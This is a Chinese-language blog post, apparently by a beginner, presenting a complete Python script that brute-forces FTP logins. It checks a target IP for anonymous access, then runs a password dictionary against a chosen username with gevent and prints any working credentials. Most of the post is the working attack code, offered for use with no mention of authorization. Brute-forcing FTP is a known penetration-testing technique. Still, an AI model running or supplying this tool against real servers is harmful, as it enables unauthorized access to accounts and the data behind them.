python编写的安全小工具~FTP爆破

*@半盏时光、旧梦悠长

新手入门

初次用python语言编写安全小工具,参考了不少相关文章,由于半年多没写过代码,此次写并未考虑多少功能,经过简单测试,可以使用FTP匿名登录和FTP登录密码爆破功能,后期将根据使用出现的问题进行修改,并逐步完善其功能。

工具简单介绍

具体如下:

  1. **FTP爆破,用户名并为使用字典,后期会根据需求进行修改;
  2. 使用了gevent协程,初次使用也不是特别明白,应该是有效果的;
  3. 涉及了文件的读取;
  4. 使用了windows句柄,对代码输出的文字进行渲染;
  5. 此工具只适用于windows系统;
  6. 可能需要在C盘下或者桌面执行此工具。

功能快捷键

#!/usr/bin/env python 
# -*- coding:utf-8 -*-

import ftplib
import gevent
import ctypes
import sys
import getopt
from gevent import pool

# windows句柄
STD_INPUT_HANDLE = -10
STD_OUTPUT_HANDLE = -11
STD_ERROR_HANDLE = -12

# Windows CMD命令行 字体颜色定义 text colors
FOREGROUND_DARKGREEN = 0x02  # dark green.
FOREGROUND_GREEN = 0x0a  # green.
FOREGROUND_RED = 0x0c  # red.
FOREGROUND_BLUE = 0x09  # blue.


# 暗绿色
# dark green
def print_dark_green(mess):
    set_cmd_text_color(FOREGROUND_DARKGREEN)
    sys.stdout.write(mess)
    reset_color()


# 绿色
# green
def print_green(mess):
    set_cmd_text_color(FOREGROUND_GREEN)
    sys.stdout.write(mess)
    reset_color()


# 红色
# red
def print_red(mess):
    set_cmd_text_color(FOREGROUND_RED)
    sys.stdout.write(mess)
    reset_color()


# get handle
std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)


def set_cmd_text_color(color, handle=std_out_handle):
    b = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)
    return b


# reset white
def reset_color():
    set_cmd_text_color(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE)


# ftp匿名登录
def anno_login(ip):
    try:
        ftp = ftplib.FTP(ip)  # 实例化FTP连接
        ftp.login('anonymous', '')  # 匿名登录
        print(print_green('\n[*] ' + ip + ' FTP Anonymous Login Succeeded!'))
        ftp.retrlines('LIST')
        ftp.quit()  # 退出FTP
        return True
    except Exception:  # 如果捕获到异常,说明不允许匿名登录
        return print_red('\n[-] ' + str(ip) + ' FTP Anonymous Login Failed!')


# ftp登录
def ftp_login(ip, user, password):
    port = 21
    timeout = 5

    try:
        ftp = ftplib.FTP()
        ftp.connect(ip, port, timeout)
        ftp.login(user, password)
        ftp.retrlines('LIST')
        ftp.quit()
        print(print_green('\n[+] 破解成功,用户名:' + user + ' 密码:' + password + ' ip: ' + ip))
        print(print_green('ftp password is ' + user + ':' + password))
        return True
    except ftplib.Error:
        return print_red('\n[+]破解失败,用户名:' + user + ' 密码:' + password)


# 读取文件内容
def read_file(file_path):
    list1 = []
    content = open(file_path).readlines()
    for line in content:
        list1.append(line.strip())
    return list1


# 程序标识
def banner():
    start = '''
       __      _  _  _ _     ___ __     __ __    _  _  _ _   
    /  __  |  |_ _   _ _|   / ___  |   /  __ )  |_ _   _ _|  
    \  __  \      | |      / (   | |     |_/ /      | |      
       __ ) |     | |      \  \__| |   |   \ \      | |      
    |  __  /      | |       \  __  |   | |  \ \     | |                                                               
    '''

    return print_dark_green(start)


# 程序用法
def usage():
    usages = '''
    --用法:
            -h    --help              帮助
            -a    --annologin         ftp匿名,ip地址
            -i    --ip                ip地址
            -u    --user              用户名
            -d    --password          密码字典         
    '''
    return print_dark_green(usages)


# 命令行参数获取
def main(argv):
    banner()
    usage()
    p = pool.Pool(20)
    user = ""
    ip = ""
    try:
        options, args = getopt.getopt(argv, "hp:a:i:u:d:", ["help", "annologin", "ip=", "user=", "password="])
    except getopt.GetoptError:
        sys.exit()

    for option, value in options:
        if option in ("-h", "--help"):
            usage()
        if option in ("-i", "--ip"):
            ip = value
        if option in ("-a", "--annologin"):
            anno_login(value)
        if option in ("-u", "--user"):
            user = value
        if option in ("-d", "--password"):
            g1 = p.spawn(read_file, value)
            g1.join()
            for password in g1.value:
                g2 = p.spawn(ftp_login, ip, user, password)
                g2.join()


if __name__ == '__main__':
    main(sys.argv[1:])

你可能感兴趣的:(安全工具,python,python,安全工具,FTP爆破,新手入门)